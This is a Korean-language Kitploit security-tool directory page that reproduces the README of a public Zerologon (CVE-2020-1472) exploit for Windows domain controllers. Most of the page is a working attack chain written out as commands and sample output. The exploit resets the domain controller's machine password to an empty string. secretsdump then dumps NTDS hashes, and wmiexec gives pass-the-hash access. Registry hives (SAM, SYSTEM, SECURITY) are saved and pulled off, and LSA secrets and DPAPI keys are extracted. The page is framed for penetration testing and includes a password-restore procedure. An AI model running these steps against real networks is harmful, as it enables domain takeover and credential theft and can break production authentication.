Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-1472 — CVE-2020-1472(일명 Zerologon)에 대한 익스플로잇 코드 | Kitploit
도구/GitHubGitHub/voidsec/cve-2020-1472
Password AttacksVulnerability AnalysisExploitationPenetration Testing
GitHubvoidsec/cve-2020-1472

CVE-2020-1472

CVE-2020-1472(일명 Zerologon)에 대한 익스플로잇 코드

저장소 보기웹사이트
396635년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2020-1472

CVE-2020-1472용 체커 및 익스플로잇 코드, 일명 Zerologon

도메인 컨트롤러가 Zerologon 공격에 취약한지 테스트하며, 취약한 경우 도메인 컨트롤러의 계정 비밀번호를 빈 문자열로 재설정합니다.

참고: 프로덕션 환경에서 문제를 일으킬 가능성이 높습니다 (예: DNS 기능, 복제 도메인 컨트롤러와의 통신 등). 대상 클라이언트는 더 이상 도메인에 인증할 수 없게 되며, 수동 작업을 통해서만 다시 동기화할 수 있습니다. Zerologon 공격이 어떻게 문제를 일으키는지 더 알고 싶다면, @_dirkjan의 훌륭한 작업 덕분에 여기에서 읽을 수 있습니다.

Secura (Tom Tervoort)의 Zerologon 원본 연구 및 백서 - https://www.secura.com/blog/zero-logon

asciicast

익스플로잇

Netlogon 인증 우회를 시도합니다. 도메인 컨트롤러가 패치된 경우, 탐지 스크립트는 2000쌍의 RPC 호출을 보낸 후 포기하며 대상이 취약하지 않다고 결론내립니다 (오탐지 확률 0.04%).

익스플로잇은 도메인 컨트롤러가 로컬에 저장된 비밀번호가 아니라 Active Directory에 저장된 비밀번호를 사용하여 로그인 시도를 검증할 때만 성공합니다. 이 방식으로 비밀번호를 변경하면 AD에서만 변경되기 때문입니다. 대상 시스템 자체는 여전히 원래 비밀번호를 로컬에 저장합니다.

설치

Python 3.7 이상, virtualenv, pip 및 수정된 Impacket 라이브러리 (nrpc.py, /impacket/dcerpc/v5) 추가된 netlogon 구조를 포함한 최신 버전의 impacket(GitHub에서 제공)이 필요합니다.

1. 다음과 같이 Impacket을 설치합니다:

  1. git clone https://github.com/SecureAuthCorp/impacket
  2. cd impacket
  3. root@kitploit:~
    pwd 
    ~/impacket/
    
  4. virtualenv --python=python3 impacket
  5. source impacket/bin/activate
  6. pip install --upgrade pip
  7. pip install .

2. 다음과 같이 Zerologon 익스플로잇 스크립트를 설치합니다:

  1. root@kitploit:~
    ~/impacket/
    
  2. cd examples
  3. git clone https://github.com/VoidSec/CVE-2020-1472
  4. cd CVE-2020-1472
  5. pip install -r requirements.txt

스크립트 실행

이 스크립트는 DC 또는 백업 DC를 대상으로 사용할 수 있습니다. 읽기 전용 DC에서도 작동할 가능성이 있지만, 아직 테스트되지 않았습니다. DC 이름은 NetBIOS 컴퓨터 이름이어야 합니다. 이 이름이 올바르지 않으면 스크립트가 STATUS_INVALID_COMPUTER_NAME 오류와 함께 실패할 가능성이 높습니다. EXAMPLE-DC라는 도메인 컨트롤러와 IP 주소 1.2.3.4가 주어졌을 때, 다음과 같이 스크립트를 실행합니다:

  • ./cve-2020-1472-exploit.py -n EXAMPLE-DC -t 1.2.3.4

스크립트를 실행하면 도메인 컨트롤러의 계정 비밀번호가 빈 문자열로 재설정됩니다.

이 시점에서 Impacket의 secretsdump.py -no-pass -just-dc Domain/'DC_NETBIOS_NAME$'@DC_IP_ADDR (또는 빈 해시: -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 사용 가능)를 실행하여 NTDS.DIT 데이터(NTLM 해시 및 Kerberos 키)만 추출할 수 있습니다.

그러면 도메인 관리자 권한을 얻을 수 있습니다. WIN WIN WIN

실행 예제

root@kitploit:~
> cve-2020-1472-exploit.py -n WIN-U4Q9LLP6L2A -t 192.168.209.129
[+] Success: Zerologon Exploit completed! DC's account password has been set to an empty string.

> secretsdump.py -no-pass -just-dc ad.test.com/WIN-U4Q9LLP6L2A\[email protected]
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::

Restore:
> wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe ad.test.com/[email protected]
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save

> secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
[*] Target system bootKey: 0x31f99ee2e750274d1fee930ab88fe126
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
$MACHINE.ACC:plain_password_hex:ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:9b5ccb9700e3ed723df08132357ff6a1
[*] DPAPI_SYSTEM 
dpapi_machinekey:0xaf83406b2611f18ac99329079e9f47d9409e885f
dpapi_userkey:0x53ed555f11c110f918fc9a97a6c3576266930fb7
[*] NL$KM 
 0000   55 A7 DF DF 27 E2 64 C1  F7 42 F2 1B 96 76 01 4F   U...'.d..B...v.O
 0010   24 4C 5D 9B 20 E3 EA 95  DD E9 61 0F 00 8E B2 51   $L]. .....a....Q
 0020   B1 79 3F E0 37 3E CB B2  95 31 A6 74 F3 35 54 8A   .y?.7>...1.t.5T.
 0030   C1 B6 70 3D B3 AB AC C1  7E 8E 90 7A 7B 49 32 46   ..p=....~..z{I2F
NL$KM:55a7dfdf27e264c1f742f21b9676014f244c5d9b20e3ea95dde9610f008eb251b1793fe0373ecbb29531a674f335548ac1b6703db3abacc17e8e907a7b493246
[*] Cleaning up... 

> reinstall_original_pw.py WIN-U4Q9LLP6L2A 192.168.209.129 ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020

비밀번호 복원

DC가 정상적으로 작동하려면 원래 비밀번호 해시를 다시 설치해야 합니다.

도메인 관리자 권한을 획득한 후, secretsdump에서 얻은 자격 증명을 사용하여 대상 DC에 wmiexec.py로 접속한 후 다음 단계를 수행합니다:

root@kitploit:~
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save

실행: secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

그러면 머신 계정의 원래 NT 해시가 표시됩니다. 그런 다음 여기에서 제공하는 reinstall_original_pw.py 스크립트를 사용하여 해당 원래 머신 계정 해시를 도메인에 다시 설치할 수 있습니다. 성공하려면 여러 번 실행해야 할 수도 있습니다.

root@kitploit:~
reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH

또는 다음 복원 과정을 사용할 수 있습니다.

도구 다운로드